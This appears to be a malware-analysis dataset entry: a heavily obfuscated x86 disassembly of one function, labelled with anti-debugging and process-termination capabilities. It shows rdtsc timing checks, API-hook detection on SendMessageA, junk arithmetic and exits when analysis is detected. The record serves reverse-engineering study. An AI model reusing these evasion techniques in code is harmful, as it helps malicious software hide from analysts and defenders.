Function at 0x403c4e
Capabilities:
Execute anti-debugging instructions
Terminate process

Disassembly:
inc edx
stosb byte es:[edi], al
in eax, dx
pop eax
stosb byte es:[edi], al
mov dl, 0x2c
mov edi, 0x74abe58
cmp bl, byte [eax + 0xfde92bf]
sbb dword es:[ebp - 0x75], edx
push ebp
mov ebp, esp
sub esp, 0x5c8
push ebx
push esi
push edi
push 0xe
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx eax, ax
cmp eax, 0xe
je 0x403c72
push 1
call dword [sym.imp.msvcrt.dll_exit]
mov dword [ebp - 8], 0x169a62e6
or dword [ebp - 0x138], 0xffffffff
xor eax, dword [ebp - 0x138]
mov dword [ebp - 0x14], eax
not dword [ebp - 0x14]
not eax
sub dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x1c], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, 0xffffffff
jne 0x403ce4
push 0xf0
push 0xdc
push 0x50
push 0xcd
push 0xd9
push 0x66
push 0x3c
pop eax
call fcn.00403a36
add esp, 0x18
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.WINSPOOL.DRV_ClosePrinter]
push 0
push 0
push 0
call dword [sym.imp.WINMM.dll_PlaySoundA]
push 0xc
call dword [sym.imp.msvcrt.dll_exit]
and dword [ebp - 0x10], 0
push ecx
fldz
fstp dword [esp]
push ecx
fldz
fstp dword [esp]
push 0x7fda965a
push 0x7fda965a
push 0x7fda965a
push 0
call dword [sym.imp.GDI32.dll_AngleArc]
and eax, 0x3c7a9cb6
add eax, 3
mov dword [ebp - 0x184], eax
push 0x48
pop eax
sub eax, dword [ebp - 0x184]
mov dword [ebp - 0x194], eax
mov eax, dword [ebp - 0x194]
xor eax, 0x1532
mov dword [ebp - 0x19c], eax
mov eax, 0xed
xor eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1a8], eax
push 0x5f
pop eax
xor eax, dword [ebp - 0x1a8]
mov dword [ebp - 0x180], eax
push 0
push 0x5b208ac9
push 0x5b208ac9
push 0
call dword [sym.imp.GDI32.dll_AnimatePalette]
and eax, 0x9e7
mov ecx, dword [ebp - 0x180]
or ecx, 0xcb196033
xor edx, edx
div ecx
mov dword [ebp - 0x190], eax
mov eax, dword [ebp - 0x190]
xor edx, edx
mov ecx, 0x9a30d27d
div ecx
mov dword [ebp - 0x198], edx
mov ecx, 0xd1
or ecx, 0x7aaf7937
mov eax, dword [ebp - 0x198]
xor edx, edx
div ecx
mov dword [ebp - 0x1a4], edx
mov ecx, dword [ebp - 0x1a4]
or ecx, 0xa7bf681b
push 0x44
pop eax
xor edx, edx
div ecx
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
imul eax, eax, 0x5a2b
mov dword [ebp - 0x18c], eax
push 0x13
pop ecx
or ecx, 0x89831951
mov eax, dword [ebp - 0x18c]
xor edx, edx
div ecx
mov dword [ebp - 0x1a0], edx
mov eax, 0x44bc
sub eax, dword [ebp - 0x1a0]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x14], eax
and dword [ebp - 8], 0
push 0xe6
push 0x11
push 0xdb
push 0xfe
push dword [ebp - 0x14]
push 0x43
pop ecx
mov eax, 0x88
push 0x39
pop edx
call fcn.00403a95
add esp, 0x14
mov dword [ebp - 0x14], eax
push 0x58
call dword [sym.imp.USER32.dll_CharLowerA]
cmp eax, 0x78
jne 0x404585
and dword [ebp - 0x1ac], 0
push 0xbb
push 0x1d
push 0xf7
push 0xf3
push 0x2e
pop eax
mov ecx, 0xf3
push 0x68
pop edx
call fcn.00403b61
add esp, 0x10
mov dword [0x428ed0], eax
push edx
pop dword [ebp - 0x2bc]
xor eax, eax
add eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x428ecc], eax
mov dword [ebp - 0x2d0], 0xf929373
mov dword [ebp - 0x2c0], 0xee9a635b
mov dword [ebp - 0x2d4], 0xee9a635b
mov dword [ebp - 0x2dc], 0x6b5b81f9
mov dword [ebp - 0x2cc], 0x94a47e06
mov dword [ebp - 0x2c8], 0xc3699290
mov dword [ebp - 0x2d8], 0xb7ccf653
mov dword [ebp - 0x2c4], 0xb7ccf653
mov eax, dword [ebp - 0x2d0]
xor eax, dword [0x428e9c]
or eax, dword [ebp - 0x2b8]
xor edx, edx
xor edx, 0x4881acb2
mov ecx, dword [ebp - 0x2c0]
xor ecx, dword [ebp - 0x2d4]
xor ecx, eax
xor edx, edx
not edx
and edx, 0x6c4d9cbb
rdtsc
or eax, dword [0x428ec0]
mov dword [ebp - 0x2b8], eax
mov edx, dword [ebp - 0x2dc]
or edx, dword [ebp - 0x2cc]
and edx, 0x2f1f4786
mov eax, dword [0x428ea0]
xor eax, dword [ebp - 0x2c8]
and eax, ecx
mov edx, dword [ebp - 0x2d8]
xor edx, dword [ebp - 0x2c4]
xor edx, 0xa6becaca
and dword [ebp - 0x360], 0
jmp 0x403f70
mov eax, dword [ebp - 0x360]
inc eax
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 1
jge 0x403f81
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
jmp 0x403f63
mov dword [ebp - 0x2f8], 0xd2b3c785
mov dword [ebp - 0x2e8], 0x69df44d
mov dword [ebp - 0x2e4], 0x69df44d
mov dword [ebp - 0x2ec], 0x6c9ac361
mov dword [ebp - 0x2f4], 0x93653c9e
mov dword [ebp - 0x2e0], 0xc4cf2d19
mov dword [ebp - 0x2f0], 0xc4cf2d19
xor eax, eax
not eax
xor eax, dword [ebp - 0x1b0]
not eax
mov edx, dword [ebp - 0x2f8]
or edx, dword [0x428ea4]
and edx, 0x973172b8
mov ecx, dword [ebp - 0x2e8]
sub ecx, dword [ebp - 0x2e4]
or ecx, eax
lea ecx, [ecx]
mov edx, 0x8b05e2d
push cx
pop cx
rdtsc
mov edx, dword [ebp - 0x2ec]
xor edx, dword [ebp - 0x2f4]
xor edx, 0x55b0f098
not edx
mov dword [ebp - 0x1b0], eax
mov edx, 0x5c3125aa
mov eax, dword [ebp - 0x2e0]
xor eax, dword [ebp - 0x2f0]
add eax, ecx
mov edx, 0x43013bc0
and dword [ebp - 0x364], 0
jmp 0x404048
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 1
jge 0x404063
push di
pop di
mov eax, dword [0x428ecc]
mov cx, cx
push 0
call eax
jmp 0x40403b
mov dword [ebp - 0x30c], 0x858c27e5
mov dword [ebp - 0x310], 0x7a73d81a
mov dword [ebp - 0x320], 0xc75ddbe0
or dword [ebp - 0x308], 0xffffffff
mov dword [ebp - 0x304], 0xb5063a26
mov dword [ebp - 0x314], 0xb5063a26
mov dword [ebp - 0x318], 0x9c0a28ea
mov dword [ebp - 0x2fc], 0x9c0a28ea
mov dword [ebp - 0x300], 0x95b4ec34
mov dword [ebp - 0x324], 0x95b4ec34
xor eax, eax
dec eax
and eax, dword [ebp - 0x1b4]
xor edx, edx
sub edx, 1
and edx, 0xc02becfc
mov ecx, dword [ebp - 0x30c]
xor ecx, dword [ebp - 0x310]
xor ecx, eax
not ecx
mov edx, dword [ebp - 0x320]
xor edx, dword [0x428ea8]
xor edx, 0x1b5a348d
not edx
rdtsc
push eax
pop dword [ebp - 0x31c]
and eax, dword [ebp - 0x308]
mov dword [ebp - 0x1b4], eax
mov edx, dword [ebp - 0x304]
sub edx, dword [ebp - 0x314]
add edx, 0x8e3dcd4a
mov eax, dword [ebp - 0x318]
xor eax, dword [ebp - 0x2fc]
xor eax, ecx
mov edx, dword [ebp - 0x300]
sub edx, dword [ebp - 0x324]
add edx, 0x3b9d074c
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x13
jl 0x404271
mov dword [ebp - 0x32c], 0xbaf43812
mov dword [ebp - 0x35c], 0xdf834a29
mov dword [ebp - 0x344], 0xdf834a29
mov dword [ebp - 0x34c], 0x2121f270
mov dword [ebp - 0x33c], 0xe7c8898b
mov dword [ebp - 0x350], 0x18377674
mov dword [ebp - 0x354], 0xe9376a35
mov dword [ebp - 0x348], 0x16c895ca
mov dword [ebp - 0x338], 0x422b3f2c
mov dword [ebp - 0x358], 0xbdd4c0d3
mov dword [ebp - 0x334], 0xff431bb8
mov dword [ebp - 0x330], 0xff431bb8
mov edx, dword [0x428eac]
xor edx, dword [ebp - 0x32c]
add edx, 0x77caa588
mov edx, dword [ebp - 0x35c]
sub edx, dword [ebp - 0x344]
or edx, 0xd73b4a55
push dword [ebp - 0x34c]
pop dword [0x428ec8]
mov edx, dword [ebp - 0x33c]
xor edx, dword [ebp - 0x350]
and edx, 0xa4d57834
push ecx
pop dword [ebp - 0x340]
mov edx, dword [ebp - 0x354]
xor edx, dword [ebp - 0x348]
xor edx, 0x770eab5c
not edx
mov cx, cx
mov edx, 0x38773887
lea esp, [esp]
mov edx, dword [ebp - 0x338]
xor edx, dword [ebp - 0x358]
and edx, 0xeb64cd62
push eax
pop dword [ebp - 0x328]
mov edx, dword [ebp - 0x334]
sub edx, dword [ebp - 0x330]
add edx, 0xbea6a5cf
and dword [ebp - 0x368], 0
jmp 0x4042a0
mov eax, dword [ebp - 0x1b4]
sub eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x1b0]
sub ecx, dword [ebp - 0x2b8]
xor edx, edx
div ecx
cmp eax, 3
jbe 0x403e99
mov dword [ebp - 0x368], 1
cmp dword [ebp - 0x368], 0
je 0x404585
and dword [ebp - 0x3f8], 0
mov eax, dword [0x428ed0]
imul eax, eax, 0x37187417
mov dword [ebp - 0x37c], eax
mov ecx, dword [ebp - 0x37c]
or ecx, 0xbe0eb9ae
mov eax, dword [ebp - 0x374]
xor edx, edx
div ecx
mov dword [ebp - 0x380], eax
mov ecx, dword [ebp - 0x380]
or ecx, 0xd63ed163
mov eax, 0x461a1e4f
xor edx, edx
div ecx
mov dword [ebp - 0x384], eax
mov eax, dword [ebp - 0x384]
mov dword [0x428ed0], eax
push dword [sym.imp.USER32.dll_SendMessageA]
pop dword [ebp - 0x3f8]
mov eax, dword [ebp - 0x3f8]
movzx eax, byte [eax]
shl eax, 0xa
push eax
xor ecx, ecx
call fcn.00403bec
pop ecx
mov dword [0x428ed0], eax
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0x38c], eax
mov eax, dword [ebp - 0x3f8]
movzx eax, byte [eax]
shl eax, 0x13
push eax
push 0
call fcn.00403c10
pop ecx
pop ecx
mov dword [0x428ed0], eax
mov eax, dword [ebp - 0x38c]
mov al, byte [eax]
mov byte [ebp - 0x385], al
mov eax, dword [ebp - 0x3f8]
movzx eax, byte [eax]
shl eax, 0x18
push eax
xor eax, eax
call fcn.00403c27
pop ecx
mov dword [0x428ed0], eax
movzx eax, byte [ebp - 0x385]
cmp eax, 0xe9
je 0x404396
and dword [ebp - 0x3fc], 0
jmp 0x40457c
mov eax, dword [ebp - 0x3f8]
inc eax
mov dword [ebp - 0x374], eax
mov eax, dword [ebp - 0x374]
mov eax, dword [eax]
call fcn.00403989
mov dword [0x428ed0], eax
mov eax, dword [ebp - 0x374]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3f8]
lea eax, [ecx + eax + 5]
mov dword [ebp - 0x378], eax
mov eax, dword [ebp - 0x378]
movzx ecx, byte [eax + 2]
mov eax, dword [ebp - 0x374]
mov eax, dword [eax]
call fcn.004039a5
mov dword [0x428ed0], eax
mov eax, dword [ebp - 0x378]
movzx eax, byte [eax]
shl eax, 0xa
push eax
xor ecx, ecx
jmp 0x432c06
cmp dword [ebp - 0x3fc], 0
je 0x404598
push 0x3c
pop eax
call fcn.00403b0a
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.msvcrt.dll_exit]
and dword [ebp - 0x130], 0
lea eax, [ebp - 0x1c]
push eax
push 0x4277cc
push 0x80000004
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 6
je 0x4045e1
push 0x47
push 0x3d
push 0x90
mov eax, dword [ebp - 0x130]
call fcn.00403b10
add esp, 0xc
mov dword [ebp - 0x14], eax
jmp fcn.00404b50
and dword [ebp - 0x404], 0
push 0xbb
push 0x1d
push 0xf7
push 0xf3
push 0x2e
pop eax
mov ecx, 0xf3
push 0x68
pop edx
call fcn.00403b61
add esp, 0x10
mov dword [0x428ed0], eax
push edx
pop dword [ebp - 0x514]
xor eax, eax
add eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x428ecc], eax
mov dword [ebp - 0x528], 0xf929373
mov dword [ebp - 0x518], 0xee9a635b
mov dword [ebp - 0x52c], 0xee9a635b
mov dword [ebp - 0x534], 0x6b5b81f9
mov dword [ebp - 0x524], 0x94a47e06
mov dword [ebp - 0x520], 0xc3699290
mov dword [ebp - 0x530], 0xb7ccf653
mov dword [ebp - 0x51c], 0xb7ccf653
mov eax, dword [ebp - 0x528]
xor eax, dword [0x428e9c]
or eax, dword [ebp - 0x510]
xor edx, edx
xor edx, 0x4881acb2
mov ecx, dword [ebp - 0x518]
xor ecx, dword [ebp - 0x52c]
xor ecx, eax
xor edx, edx
not edx
and edx, 0x6c4d9cbb
rdtsc
or eax, dword [0x428ec0]
mov dword [ebp - 0x510], eax
mov edx, dword [ebp - 0x534]
or edx, dword [ebp - 0x524]
and edx, 0x2f1f4786
mov eax, dword [0x428ea0]
xor eax, dword [ebp - 0x520]
and eax, ecx
mov edx, dword [ebp - 0x530]
xor edx, dword [ebp - 0x51c]
xor edx, 0xa6becaca
and dword [ebp - 0x5b8], 0
jmp 0x4046fc
mov eax, dword [ebp - 0x5b8]
inc eax
mov dword [ebp - 0x5b8], eax
cmp dword [ebp - 0x5b8], 1
jge 0x40470d
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
jmp 0x4046ef
mov dword [ebp - 0x550], 0xd2b3c785
mov dword [ebp - 0x540], 0x69df44d
mov dword [ebp - 0x53c], 0x69df44d
mov dword [ebp - 0x544], 0x6c9ac361
mov dword [ebp - 0x54c], 0x93653c9e
mov dword [ebp - 0x538], 0xc4cf2d19
mov dword [ebp - 0x548], 0xc4cf2d19
xor eax, eax
not eax
xor eax, dword [ebp - 0x408]
not eax
mov edx, dword [ebp - 0x550]
or edx, dword [0x428ea4]
and edx, 0x973172b8
mov ecx, dword [ebp - 0x540]
sub ecx, dword [ebp - 0x53c]
or ecx, eax
lea ecx, [ecx]
mov edx, 0x8b05e2d
push cx
pop cx
rdtsc
mov edx, dword [ebp - 0x544]
xor edx, dword [ebp - 0x54c]
xor edx, 0x55b0f098
not edx
mov dword [ebp - 0x408], eax
mov edx, 0x5c3125aa
mov eax, dword [ebp - 0x538]
xor eax, dword [ebp - 0x548]
add eax, ecx
mov edx, 0x43013bc0
and dword [ebp - 0x5bc], 0
jmp 0x4047d4
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 1
jge 0x4047ef
push di
pop di
mov eax, dword [0x428ecc]
mov cx, cx
push 0
call eax
jmp 0x4047c7
mov dword [ebp - 0x564], 0x858c27e5
mov dword [ebp - 0x568], 0x7a73d81a
mov dword [ebp - 0x578], 0xc75ddbe0
or dword [ebp - 0x560], 0xffffffff
mov dword [ebp - 0x55c], 0xb5063a26
mov dword [ebp - 0x56c], 0xb5063a26
mov dword [ebp - 0x570], 0x9c0a28ea
mov dword [ebp - 0x554], 0x9c0a28ea
mov dword [ebp - 0x558], 0x95b4ec34
mov dword [ebp - 0x57c], 0x95b4ec34
xor eax, eax
dec eax
and eax, dword [ebp - 0x40c]
xor edx, edx
sub edx, 1
and edx, 0xc02becfc
mov ecx, dword [ebp - 0x564]
xor ecx, dword [ebp - 0x568]
xor ecx, eax
not ecx
mov edx, dword [ebp - 0x578]
xor edx, dword [0x428ea8]
xor edx, 0x1b5a348d
not edx
rdtsc
push eax
pop dword [ebp - 0x574]
and eax, dword [ebp - 0x560]
mov dword [ebp - 0x40c], eax
mov edx, dword [ebp - 0x55c]
sub edx, dword [ebp - 0x56c]
add edx, 0x8e3dcd4a
mov eax, dword [ebp - 0x570]
xor eax, dword [ebp - 0x554]
xor eax, ecx
mov edx, dword [ebp - 0x558]
sub edx, dword [ebp - 0x57c]
add edx, 0x3b9d074c
mov eax, dword [ebp - 0x404]
inc eax
mov dword [ebp - 0x404], eax
cmp dword [ebp - 0x404], 0x13
jl 0x4049fd
mov dword [ebp - 0x584], 0xbaf43812
mov dword [ebp - 0x5b4], 0xdf834a29
mov dword [ebp - 0x59c], 0xdf834a29
mov dword [ebp - 0x5a4], 0x2121f270
mov dword [ebp - 0x594], 0xe7c8898b
mov dword [ebp - 0x5a8], 0x18377674
mov dword [ebp - 0x5ac], 0xe9376a35
mov dword [ebp - 0x5a0], 0x16c895ca
mov dword [ebp - 0x590], 0x422b3f2c
mov dword [ebp - 0x5b0], 0xbdd4c0d3
mov dword [ebp - 0x58c], 0xff431bb8
mov dword [ebp - 0x588], 0xff431bb8
mov edx, dword [0x428eac]
xor edx, dword [ebp - 0x584]
add edx, 0x77caa588
mov edx, dword [ebp - 0x5b4]
sub edx, dword [ebp - 0x59c]
or edx, 0xd73b4a55
push dword [ebp - 0x5a4]
pop dword [0x428ec8]
mov edx, dword [ebp - 0x594]
xor edx, dword [ebp - 0x5a8]
and edx, 0xa4d57834
push ecx
pop dword [ebp - 0x598]
mov edx, dword [ebp - 0x5ac]
xor edx, dword [ebp - 0x5a0]
xor edx, 0x770eab5c
not edx
mov cx, cx
mov edx, 0x38773887
lea esp, [esp]
mov edx, dword [ebp - 0x590]
xor edx, dword [ebp - 0x5b0]
and edx, 0xeb64cd62
push eax
pop dword [ebp - 0x580]
mov edx, dword [ebp - 0x58c]
sub edx, dword [ebp - 0x588]
add edx, 0xbea6a5cf
and dword [ebp - 0x5c0], 0
jmp 0x404a2c
mov eax, dword [ebp - 0x40c]
sub eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 0x408]
sub ecx, dword [ebp - 0x510]
xor edx, edx
div ecx
cmp eax, 3
jbe 0x404625
mov dword [ebp - 0x5c0], 1
cmp dword [ebp - 0x5c0], 0
je 0x404aee
mov dword [ebp - 0x144], 0x135eafa6
mov dword [ebp - 0x13c], 0x9ccac30e
mov dword [ebp - 0x140], 0xeab9376c
mov dword [ebp - 0x148], 0x7a17f650
mov bl, bl
mov eax, 0x77ccbf79
mov eax, 0
mov eax, 0xa605fa4b
xor ecx, ecx
add ecx, 0x412204
mov eax, dword [ebp - 0x144]
xor eax, dword [0x428e88]
and eax, 0x47439265
push ecx
push ebp
pop dword [ebp - 0x154]
xor eax, eax
xor eax, 0x6a670fad
push esp
pop dword [ebp - 0x14c]
mov ecx, 0x4033d0
mov eax, dword [0x428e8c]
sub eax, dword [ebp - 0x13c]
add eax, 0x8a6b1b11
push dword [ebp - 0x140]
pop dword [ebp - 0x150]
push 0x404adc
push ecx
mov esi, esi
ret
mov eax, dword [ebp - 0x14]
or eax, 0x2f
mov dword [ebp - 0x5c4], eax
mov ecx, dword [ebp - 0x5c4]
or ecx, 0x79d067e9
mov eax, 0x404ca4
xor edx, edx
div ecx
mov dword [ebp - 0x5c8], eax
mov eax, dword [ebp - 0x5c8]
mov dword [ebp - 0x14], eax
push 0
call dword [sym.imp.msvcrt.dll_exit]
pop edi
pop esi
pop ebx
leave
ret 0x10